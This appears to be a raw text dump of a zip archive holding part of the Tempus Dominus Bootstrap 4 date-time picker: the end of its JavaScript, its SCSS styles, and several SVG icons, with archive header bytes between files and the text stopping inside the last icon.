                    return m.month(0).date(1).hours(0).seconds(0).minutes(0);
                },
                'month': function (m) {
                    return m.date(1).hours(0).seconds(0).minutes(0);
                },
                'day': function (m) {
                    return m.hours(0).seconds(0).minutes(0);
                },
                'hour': function (m) {
                    return m.seconds(0).minutes(0);
                },
                'minute': function (m) {
                    return m.seconds(0);
                }
            };

            if (this.input !== undefined) {
                if (this.input.prop('disabled') || !this._options.ignoreReadonly && this.input.prop('readonly') || this.widget) {
                    return;
                }
                if (this.input.val() !== undefined && this.input.val().trim().length !== 0) {
                    this._setValue(this._parseInputDate(this.input.val().trim()), 0);
                } else if (this.unset && this._options.useCurrent) {
                    currentMoment = this.getMoment();
                    if (typeof this._options.useCurrent === 'string') {
                        currentMoment = useCurrentGranularity[this._options.useCurrent](currentMoment);
                    }
                    this._setValue(currentMoment, 0);
                }
            } else if (this.unset && this._options.useCurrent) {
                currentMoment = this.getMoment();
                if (typeof this._options.useCurrent === 'string') {
                    currentMoment = useCurrentGranularity[this._options.useCurrent](currentMoment);
                }
                this._setValue(currentMoment, 0);
            }

            this.widget = this._getTemplate();

            this._fillDow();
            this._fillMonths();

            this.widget.find('.timepicker-hours').hide();
            this.widget.find('.timepicker-minutes').hide();
            this.widget.find('.timepicker-seconds').hide();

            this._update();
            this._showMode();

            $(window).on('resize', { picker: this }, this._place);
            this.widget.on('click', '[data-action]', $.proxy(this._doAction, this)); // this handles clicks on the widget
            this.widget.on('mousedown', false);

            if (this.component && this.component.hasClass('btn')) {
                this.component.toggleClass('active');
            }
            this._place();
            this.widget.show();
            if (this.input !== undefined && this._options.focusOnShow && !this.input.is(':focus')) {
                this.input.focus();
            }

            this._notifyEvent({
                type: DateTimePicker.Event.SHOW
            });
        }

        destroy() {
            this.hide();
            //todo doc off?
            this._element.removeData(DateTimePicker.DATA_KEY);
            this._element.removeData('date');
        }

        disable() {
            this.hide();
            if (this.component && this.component.hasClass('btn')) {
                this.component.addClass('disabled');
            }
            if (this.input !== undefined) {
                this.input.prop('disabled', true); //todo disable this/comp if input is null
            }
        }

        enable() {
            if (this.component && this.component.hasClass('btn')) {
                this.component.removeClass('disabled');
            }
            if (this.input !== undefined) {
                this.input.prop('disabled', false); //todo enable comp/this if input is null
            }
        }

        toolbarPlacement(toolbarPlacement) {
            if (arguments.length === 0) {
                return this._options.toolbarPlacement;
            }

            if (typeof toolbarPlacement !== 'string') {
                throw new TypeError('toolbarPlacement() expects a string parameter');
            }
            if (toolbarPlacements.indexOf(toolbarPlacement) === -1) {
                throw new TypeError(`toolbarPlacement() parameter must be one of (${toolbarPlacements.join(', ')}) value`);
            }
            this._options.toolbarPlacement = toolbarPlacement;

            if (this.widget) {
                this.hide();
                this.show();
            }
        }

        widgetPositioning(widgetPositioning) {
            if (arguments.length === 0) {
                return $.extend({}, this._options.widgetPositioning);
            }

            if ({}.toString.call(widgetPositioning) !== '[object Object]') {
                throw new TypeError('widgetPositioning() expects an object variable');
            }
            if (widgetPositioning.horizontal) {
                if (typeof widgetPositioning.horizontal !== 'string') {
                    throw new TypeError('widgetPositioning() horizontal variable must be a string');
                }
                widgetPositioning.horizontal = widgetPositioning.horizontal.toLowerCase();
                if (horizontalModes.indexOf(widgetPositioning.horizontal) === -1) {
                    throw new TypeError(`widgetPositioning() expects horizontal parameter to be one of (${horizontalModes.join(', ')})`);
                }
                this._options.widgetPositioning.horizontal = widgetPositioning.horizontal;
            }
            if (widgetPositioning.vertical) {
                if (typeof widgetPositioning.vertical !== 'string') {
                    throw new TypeError('widgetPositioning() vertical variable must be a string');
                }
                widgetPositioning.vertical = widgetPositioning.vertical.toLowerCase();
                if (verticalModes.indexOf(widgetPositioning.vertical) === -1) {
                    throw new TypeError(`widgetPositioning() expects vertical parameter to be one of (${verticalModes.join(', ')})`);
                }
                this._options.widgetPositioning.vertical = widgetPositioning.vertical;
            }
            this._update();
        }

        widgetParent(widgetParent) {
            if (arguments.length === 0) {
                return this._options.widgetParent;
            }

            if (typeof widgetParent === 'string') {
                widgetParent = $(widgetParent);
            }

            if (widgetParent !== null && typeof widgetParent !== 'string' && !(widgetParent instanceof $)) {
                throw new TypeError('widgetParent() expects a string or a jQuery object parameter');
            }

            this._options.widgetParent = widgetParent;
            if (this.widget) {
                this.hide();
                this.show();
            }
        }

        //static
        static _jQueryHandleThis(me, option, argument) {
            let data = $(me).data(DateTimePicker.DATA_KEY);
            if (typeof option === 'object') {
                $.extend({}, DateTimePicker.Default, option);
            }

            if (!data) {
                data = new TempusDominusBootstrap4($(me), option);
                $(me).data(DateTimePicker.DATA_KEY, data);
            }

            if (typeof option === 'string') {
                if (data[option] === undefined) {
                    throw new Error(`No method named "${option}"`);
                }
                if (argument === undefined) {
                    return data[option]();
                }
                else {
                    return data[option](argument);
                }
            }
        }


        static _jQueryInterface(option, argument) {
            if (this.length === 1) {
                return TempusDominusBootstrap4._jQueryHandleThis(this[0], option, argument);
            }
            return this.each(function () {
                TempusDominusBootstrap4._jQueryHandleThis(this, option, argument);
            });
        }
    }

    /**
    * ------------------------------------------------------------------------
    * jQuery
    * ------------------------------------------------------------------------
    */
    $(document).on(DateTimePicker.Event.CLICK_DATA_API, DateTimePicker.Selector.DATA_TOGGLE, function () {
        const $target = getSelectorFromElement($(this));
        if ($target.length === 0) {
            return;
        }
        TempusDominusBootstrap4._jQueryInterface.call($target, 'toggle');
    }).on(DateTimePicker.Event.CHANGE, `.${DateTimePicker.ClassName.INPUT}`, function (event) {
        const $target = getSelectorFromElement($(this));
        if ($target.length === 0) {
            return;
        }
        TempusDominusBootstrap4._jQueryInterface.call($target, '_change', event);
    }).on(DateTimePicker.Event.BLUR, `.${DateTimePicker.ClassName.INPUT}`, function (event) {
        const $target = getSelectorFromElement($(this)), config = $target.data(DateTimePicker.DATA_KEY);
        if ($target.length === 0) {
            return;
        }
        if (config._options.debug || window.debug) {
            return;
        }
        TempusDominusBootstrap4._jQueryInterface.call($target, 'hide', event);
    }).on(DateTimePicker.Event.KEYDOWN, `.${DateTimePicker.ClassName.INPUT}`, function (event) {
        const $target = getSelectorFromElement($(this));
        if ($target.length === 0) {
            return;
        }
        TempusDominusBootstrap4._jQueryInterface.call($target, '_keydown', event);
    }).on(DateTimePicker.Event.KEYUP, `.${DateTimePicker.ClassName.INPUT}`, function (event) {
        const $target = getSelectorFromElement($(this));
        if ($target.length === 0) {
            return;
        }
        TempusDominusBootstrap4._jQueryInterface.call($target, '_keyup', event);
    }).on(DateTimePicker.Event.FOCUS, `.${DateTimePicker.ClassName.INPUT}`, function (event) {
        const $target = getSelectorFromElement($(this)), config = $target.data(DateTimePicker.DATA_KEY);
        if ($target.length === 0) {
            return;
        }
        if (!config._options.allowInputToggle) {
            return;
        }
        TempusDominusBootstrap4._jQueryInterface.call($target, 'show', event);
    });

    $.fn[DateTimePicker.NAME] = TempusDominusBootstrap4._jQueryInterface;
    $.fn[DateTimePicker.NAME].Constructor = TempusDominusBootstrap4;
    $.fn[DateTimePicker.NAME].noConflict = function () {
        $.fn[DateTimePicker.NAME] = JQUERY_NO_CONFLICT;
        return TempusDominusBootstrap4._jQueryInterface;
    };

    return TempusDominusBootstrap4;
})(jQuery);
PK�z�\�� ��#�#$sass/_tempusdominus-bootstrap-4.scssnu�[���$bs-datetimepicker-timepicker-font-size: 1.2em !default;
$bs-datetimepicker-active-bg: $blue !default;
$bs-datetimepicker-active-color: $white !default;
$bs-datetimepicker-border-radius: $border-radius !default;
$bs-datetimepicker-btn-hover-bg: $gray-200 !default;
$bs-datetimepicker-disabled-color: $gray-600 !default;
$bs-datetimepicker-alternate-color: $gray-600 !default;
$bs-datetimepicker-secondary-border-color: #ccc !default;
$bs-datetimepicker-secondary-border-color-rgba: rgba(0, 0, 0, 0.2) !default;
$bs-datetimepicker-primary-border-color: white !default;
$bs-datetimepicker-text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25) !default;

.bootstrap-datetimepicker-widget {
    list-style: none;

    &.dropdown-menu {
        display: block;
        margin: 2px 0;
        padding: 4px;
        width: 14rem;

        &.timepicker-sbs {
            @media (min-width: map-get($grid-breakpoints, 'sm')) {
                width: 38em;
            }

            @media (min-width: map-get($grid-breakpoints, 'md')) {
                width: 38em;
            }

            @media (min-width: map-get($grid-breakpoints, 'lg')) {
                width: 38em;
            }
        }

        &:before, &:after {
            content: '';
            display: inline-block;
            position: absolute;
        }

        &.bottom {
            &:before {
                border-left: 7px solid transparent;
                border-right: 7px solid transparent;
                border-bottom: 7px solid $bs-datetimepicker-secondary-border-color;
                border-bottom-color: $bs-datetimepicker-secondary-border-color-rgba;
                top: -7px;
                left: 7px;
            }

            &:after {
                border-left: 6px solid transparent;
                border-right: 6px solid transparent;
                border-bottom: 6px solid $bs-datetimepicker-primary-border-color;
                top: -6px;
                left: 8px;
            }
        }

        &.top {
            &:before {
                border-left: 7px solid transparent;
                border-right: 7px solid transparent;
                border-top: 7px solid $bs-datetimepicker-secondary-border-color;
                border-top-color: $bs-datetimepicker-secondary-border-color-rgba;
                bottom: -7px;
                left: 6px;
            }

            &:after {
                border-left: 6px solid transparent;
                border-right: 6px solid transparent;
                border-top: 6px solid $bs-datetimepicker-primary-border-color;
                bottom: -6px;
                left: 7px;
            }
        }

        &.float-right {
            &:before {
                left: auto;
                right: 6px;
            }

            &:after {
                left: auto;
                right: 7px;
            }
        }

        &.wider {
            width: 16rem;
        }
    }

    .list-unstyled {
        margin: 0;
    }

    a[data-action] {
        padding: 6px 0;
    }

    a[data-action]:active {
        box-shadow: none;
    }

    .timepicker-hour, .timepicker-minute, .timepicker-second {
        width: 54px;
        font-weight: bold;
        font-size: $bs-datetimepicker-timepicker-font-size;
        margin: 0;
    }

    button[data-action] {
        padding: 6px;
    }

    .btn[data-action="incrementHours"]::after {
        @extend .sr-only;
        content: "Increment Hours";
    }

    .btn[data-action="incrementMinutes"]::after {
        @extend .sr-only;
        content: "Increment Minutes";
    }

    .btn[data-action="decrementHours"]::after {
        @extend .sr-only;
        content: "Decrement Hours";
    }

    .btn[data-action="decrementMinutes"]::after {
        @extend .sr-only;
        content: "Decrement Minutes";
    }

    .btn[data-action="showHours"]::after {
        @extend .sr-only;
        content: "Show Hours";
    }

    .btn[data-action="showMinutes"]::after {
        @extend .sr-only;
        content: "Show Minutes";
    }

    .btn[data-action="togglePeriod"]::after {
        @extend .sr-only;
        content: "Toggle AM/PM";
    }

    .btn[data-action="clear"]::after {
        @extend .sr-only;
        content: "Clear the picker";
    }

    .btn[data-action="today"]::after {
        @extend .sr-only;
        content: "Set the date to today";
    }

    .picker-switch {
        text-align: center;

        &::after {
            @extend .sr-only;
            content: "Toggle Date and Time Screens";
        }

        td {
            padding: 0;
            margin: 0;
            height: auto;
            width: auto;
            line-height: inherit;

            span {
                line-height: 2.5;
                height: 2.5em;
                width: 100%;
            }
        }
    }

    table {
        width: 100%;
        margin: 0;


        & td,
        & th {
            text-align: center;
            border-radius: $bs-datetimepicker-border-radius;
        }

        & th {
            height: 20px;
            line-height: 20px;
            width: 20px;

            &.picker-switch {
                width: 145px;
            }

            &.disabled,
            &.disabled:hover {
                background: none;
                color: $bs-datetimepicker-disabled-color;
                cursor: not-allowed;
            }

            &.prev::after {
                @extend .sr-only;
                content: "Previous Month";
            }

            &.next::after {
                @extend .sr-only;
                content: "Next Month";
            }
        }

        & thead tr:first-child th {
            cursor: pointer;

            &:hover {
                background: $bs-datetimepicker-btn-hover-bg;
            }
        }

        & td {
            height: 54px;
            line-height: 54px;
            width: 54px;

            &.cw {
                font-size: .8em;
                height: 20px;
                line-height: 20px;
                color: $bs-datetimepicker-alternate-color;
            }

            &.day {
                height: 20px;
                line-height: 20px;
                width: 20px;
            }

            &.day:hover,
            &.hour:hover,
            &.minute:hover,
            &.second:hover {
                background: $bs-datetimepicker-btn-hover-bg;
                cursor: pointer;
            }

            &.old,
            &.new {
                color: $bs-datetimepicker-alternate-color;
            }

            &.today {
                position: relative;

                &:before {
                    content: '';
                    display: inline-block;
                    border: solid transparent;
                    border-width: 0 0 7px 7px;
                    border-bottom-color: $bs-datetimepicker-active-bg;
                    border-top-color: $bs-datetimepicker-secondary-border-color-rgba;
                    position: absolute;
                    bottom: 4px;
                    right: 4px;
                }
            }

            &.active,
            &.active:hover {
                background-color: $bs-datetimepicker-active-bg;
                color: $bs-datetimepicker-active-color;
                text-shadow: $bs-datetimepicker-text-shadow;
            }

            &.active.today:before {
                border-bottom-color: #fff;
            }

            &.disabled,
            &.disabled:hover {
                background: none;
                color: $bs-datetimepicker-disabled-color;
                cursor: not-allowed;
            }

            span {
                display: inline-block;
                width: 54px;
                height: 54px;
                line-height: 54px;
                margin: 2px 1.5px;
                cursor: pointer;
                border-radius: $bs-datetimepicker-border-radius;

                &:hover {
                    background: $bs-datetimepicker-btn-hover-bg;
                }

                &.active {
                    background-color: $bs-datetimepicker-active-bg;
                    color: $bs-datetimepicker-active-color;
                    text-shadow: $bs-datetimepicker-text-shadow;
                }

                &.old {
                    color: $bs-datetimepicker-alternate-color;
                }

                &.disabled,
                &.disabled:hover {
                    background: none;
                    color: $bs-datetimepicker-disabled-color;
                    cursor: not-allowed;
                }
            }
        }
    }

    &.usetwentyfour {
        td.hour {
            height: 27px;
            line-height: 27px;
        }
    }
}

.input-group [data-toggle="datetimepicker"] {
    cursor: pointer;
}PK�z�\�N����)sass/tempusdominus-bootstrap-4-build.scssnu�[���// Import bootstrap variables including default color palette and fonts
@import "~bootstrap/scss/_functions.scss";
@import "~bootstrap/scss/_variables.scss";

.sr-only {
  position: absolute;
  width: 1px;
  height: 1px;
  margin: -1px;
  padding: 0;
  overflow: hidden;
  clip: rect(0,0,0,0);
  border: 0;
}

// Import datepicker component
@import "_tempusdominus-bootstrap-4";
PK�{�\�J��icons/subscript.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M1224.354,1117.078 L1006.601,1117.078 L1006.601,1067.562 C1091.466,990.519 1138.701,951.568 1139.220,911.578 C1139.220,887.702 1124.350,874.518 1097.335,874.518 C1072.236,874.518 1052.062,887.167 1032.530,901.592 L1009.016,842.278 C1039.234,818.882 1075.104,808.372 1110.771,808.372 C1176.237,808.372 1218.537,846.614 1218.537,905.801 C1218.537,965.501 1168.603,1011.339 1122.925,1049.581 L1224.354,1049.581 L1224.354,1117.078 ZM486.761,678.568 L296.843,975.803 L46.215,975.803 L46.215,879.988 L100.910,879.988 C134.010,879.988 164.672,863.823 181.618,837.434 L377.259,532.875 L188.346,256.449 C171.116,231.230 141.182,215.947 109.001,215.947 L57.840,215.947 L57.840,120.132 L291.295,120.132 L486.761,404.237 L682.228,120.132 L915.687,120.132 L915.687,215.947 L864.527,215.947 C832.355,215.947 802.411,231.230 785.177,256.449 L596.263,532.875 L791.904,837.434 C808.860,863.823 839.522,879.988 872.622,879.988 L927.312,879.988 L927.312,975.803 L676.684,975.803 L486.761,678.568 Z" class="cls-1"/>
</svg>
PK�{�\D�?�SSicons/minus.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<g>
	<g>
		<rect x="108.93" y="432.341" fill="#010202" width="806.141" height="159.071"/>
	</g>
</g>
</svg>
PK�{�\ȴ�sicons/circle.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path class="cls-1" d="M501.845-55.324c318.546,0,576.775,255.772,576.775,571.282S820.391,1087.24,501.845,1087.24-74.935,831.469-74.935,515.958,183.3-55.324,501.845-55.324Zm0,90.262c268.216,0,485.649,215.36,485.649,481.02s-217.433,481.02-485.649,481.02S16.2,781.618,16.2,515.958,233.629,34.938,501.845,34.938Z"/>
</svg>
PK�{�\a�q���icons/italic.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M421.903,47.502 L401.526,111.534 C422.134,113.396 440.987,118.386 458.094,126.498 C475.187,134.622 483.740,152.142 483.740,179.046 C483.740,190.652 479.527,211.066 471.091,240.297 L291.199,805.870 C280.890,839.748 268.713,865.849 254.659,884.172 C240.604,902.508 216.713,911.663 182.985,911.663 L162.604,975.699 L558.929,975.699 L577.201,911.663 C550.960,911.663 528.121,906.446 508.688,896.006 C489.241,885.562 479.527,868.511 479.527,844.848 C479.527,830.470 483.740,816.731 492.176,790.283 L670.662,217.327 C679.093,190.423 687.175,169.890 694.903,155.733 C702.635,141.584 712.826,130.794 725.475,123.367 C738.123,115.952 754.041,112.002 773.257,111.534 L793.634,47.502 L421.903,47.502 Z" class="cls-1"/>
</svg>
PK�{�\��AŶ�icons/code.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M799.573,828.389 L799.573,719.346 L1122.342,549.372 L799.573,379.397 L799.573,270.358 L1237.987,510.886 L1237.987,587.857 L799.573,828.389 ZM291.448,927.098 L601.210,127.469 L718.855,127.469 L409.093,927.098 L291.448,927.098 ZM-215.002,510.886 L223.407,270.358 L223.407,379.397 L-99.357,549.372 L223.407,719.346 L223.407,828.389 L-215.002,587.857 L-215.002,510.886 Z" class="cls-1"/>
</svg>
PK�{�\������icons/text-height.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M1073.727,843.931 L1211.024,843.931 L1039.529,975.262 L868.030,843.931 L1005.602,843.931 L1005.602,251.428 L876.962,251.428 L1039.529,120.159 L1202.092,251.428 L1073.727,251.428 L1073.727,843.931 ZM649.994,233.729 C624.218,210.392 565.126,198.716 508.696,198.716 L430.715,198.716 L430.715,797.755 C430.715,837.588 437.714,865.323 451.712,880.954 C465.705,896.596 495.137,904.404 540.026,904.404 L563.354,904.404 L563.354,975.720 L76.224,975.720 L76.224,904.404 L97.552,904.404 C142.875,904.404 178.706,896.374 192.265,880.311 C205.816,864.251 212.595,836.734 212.595,797.755 L212.595,198.716 L130.211,198.716 C84.888,198.716 29.423,203.434 8.095,212.849 C-13.237,222.275 -31.128,241.017 -45.565,269.065 C-60.005,297.124 -68.785,330.421 -71.891,368.971 L-145.075,368.971 L-145.075,120.977 L789.565,120.977 L789.565,368.971 L709.981,368.971 C695.755,302.152 675.761,257.081 649.994,233.729 Z" class="cls-1"/>
</svg>
PK�{�\�g�`��icons/arrows-alt.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #241f20;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M837.145,253.759 L960.985,376.234 L960.962,68.043 L649.512,68.025 L773.407,190.643 L512.001,449.497 L250.597,190.644 L374.284,68.005 L63.042,68.007 L63.043,376.234 L186.856,253.762 L448.259,512.615 L193.137,765.250 L63.009,636.616 L63.047,956.987 L386.773,957.000 L256.875,828.366 L512.000,575.732 L767.129,828.366 L637.230,957.000 L960.948,956.987 L960.926,636.616 L830.863,765.250 L575.742,512.615 L837.145,253.759 Z" class="cls-1"/>
</svg>
PK�{�\`�c�icons/align-outdent.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M10.989,129.999 L10.989,283.817 L1013.000,283.817 L1013.000,129.999 L10.989,129.999 ZM473.108,588.303 L1012.999,588.303 L1012.999,436.108 L473.108,436.108 L473.108,588.303 L473.108,588.303 ZM473.108,892.792 L1012.999,892.792 L1012.999,740.550 L473.108,740.550 L473.108,892.792 L473.108,892.792 ZM282.568,439.002 C261.604,451.493 41.464,631.478 23.747,642.701 C7.862,652.780 7.579,676.772 23.747,686.830 C48.380,702.143 267.392,881.205 281.839,890.074 C299.843,901.157 318.071,887.064 318.071,868.123 L318.071,460.818 C318.068,439.954 297.923,429.831 282.568,439.002 Z" class="cls-1"/>
</svg>
PK�{�\J#A�ccicons/close.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<g>
	<g>
		<path fill="#010202" d="M562.27,511.274l305.892-305.888c1.935-1.937,1.935-5.809,0-9.68l-44.532-42.592
			c-1.936-1.937-3.868-1.937-3.868-1.937c-1.94,0-1.94,0-3.872,1.937L510,459.002l-305.887-306.13
			c-1.939-1.936-3.873-1.936-3.873-1.936c-1.939,0-1.939,0-3.872,1.936l-44.528,44.77c-1.939,1.935-1.939,5.808,0,9.68
			L457.728,513.21L151.84,816.92c-1.939,1.936-1.939,5.808,0,9.68l42.592,44.527c1.936,1.939,3.869,1.939,3.869,1.939
			s1.939,0,3.873-1.939L510,563.545l305.889,305.89c1.936,1.936,3.872,1.936,3.872,1.936s1.935,0,3.868-1.936l42.592-44.532
			c1.94-1.935,1.94-5.807,0-9.68L562.27,511.274z"/>
	</g>
</g>
</svg>
PK�{�\��S��icons/menu-check.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<path fill="#010202" d="M402.399,830.4L128.8,556.8V550.4L237.6,448L404,614.4l382.399-420.8l108.8,102.4v6.4L402.399,830.4
	L402.399,830.4L402.399,830.4z"/>
</svg>
PK�{�\
\Y�HHicons/trash.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<g>
	<g>
		<path fill="#040507" d="M684.868,95.723c-38.258,0-69.273-30.712-69.273-68.606H389.834c0,37.891-31.018,68.606-69.276,68.606
			H15.731v69.894h978.333V95.723H684.868z M224.755,996.884h560.281L924.92,234.799H84.871L224.755,996.884z M688.173,355.88
			c0-22.491,18.415-40.721,41.121-40.721c22.71,0,41.12,18.23,41.12,40.721l-60.545,515.828c0,22.491-18.415,40.719-41.118,40.719
			c-22.707,0-41.116-18.229-41.116-40.719L688.173,355.88z M464.44,355.88c0-22.491,18.413-40.721,41.123-40.721
			c22.708,0,41.115,18.23,41.115,40.721v515.828c0,22.491-18.407,40.719-41.115,40.719c-22.712,0-41.123-18.229-41.123-40.719
			V355.88z M269.712,315.159c22.711,0,41.118,18.23,41.118,40.721l70.229,515.828c0,22.491-18.405,40.719-41.113,40.719
			c-22.712,0-41.123-18.229-41.123-40.719L228.593,355.88C228.594,333.39,247.004,315.159,269.712,315.159z"/>
	</g>
</g>
</svg>
PK�{�\�#1,icons/question.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path id="Rounded_Rectangle_6" data-name="Rounded Rectangle 6" class="cls-1" d="M418.652,985.119h194.77V798.656H418.652V985.119ZM180.886,334.113H369.145q0-53.547,31.508-103.232T507.57,181.2q76.667,0,105.595,40.326t28.918,89.361q0,42.582-25.973,78.068-14.295,20.655-37.67,38.066L531.017,463.8q-70.137,54.192-87.023,95.81T423.21,710.265H599.743q0.642-51.612,8.446-76.133,12.341-38.713,50.028-67.75L704.332,530.9q70.173-54.2,94.851-89.039,42.234-57.417,42.233-141.3,0-136.773-97.387-206.46t-244.6-69.684q-112.047,0-188.909,49.038Q188.7,150.243,180.886,334.113h0Z"/>
</svg>
PK�{�\�
>���icons/undo.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path id="Shape_29_copy_2" data-name="Shape 29 copy 2" class="cls-1" d="M-84.808,193.372V728.531H480.079L325.064,580.294s-21.019-241.2,341.56-241.2S1176.34,648.131,1176.34,648.131s-147.14-482.4-546.5-482.4c-364.362,0-567.515,165.824-567.515,165.824Z"/>
</svg>
PK�{�\��fficons/col-remove.svgnu�[���<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9511mm" width="3.9496mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" viewBox="0 0 13.99474 14" xmlns:dc="http://purl.org/dc/elements/1.1/">
 <metadata id="metadata3451">
  <rdf:RDF>
   <cc:Work rdf:about="">
    <dc:format>image/svg+xml</dc:format>
    <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
    <dc:title/>
   </cc:Work>
  </rdf:RDF>
 </metadata>
 <g id="layer1" transform="translate(732.42 107.67)">
  <g id="g3692-8" transform="matrix(0 1 -1 0 -536.02 -2867.7)">
   <path id="path5085-1-1" d="m2764.7 190q-0.2558 0-0.4348-0.17906l-0.8698-0.86975q-0.1791-0.17906-0.1791-0.43487t0.1791-0.43487l1.8802-1.8802-1.8802-1.8802q-0.1791-0.17906-0.1791-0.43487t0.1791-0.43487l0.8698-0.86975q0.179-0.17906 0.4348-0.17906t0.4349 0.17906l1.8802 1.8802 1.8802-1.8802q0.179-0.17906 0.4348-0.17906t0.4349 0.17906l0.8698 0.86975q0.179 0.17906 0.179 0.43487t-0.179 0.43487l-1.8802 1.8802 1.8802 1.8802q0.179 0.17906 0.179 0.43487t-0.179 0.43487l-0.8698 0.86975q-0.1791 0.17906-0.4349 0.17906t-0.4348-0.17906l-1.8802-1.8802-1.8802 1.8802q-0.1791 0.17906-0.4349 0.17906z"/>
   <path id="polygon3366-49-8-3-07" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/>
  </g>
 </g>
</svg>
PK�{�\t���	�	icons/chain-broken.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<g>
	<g>
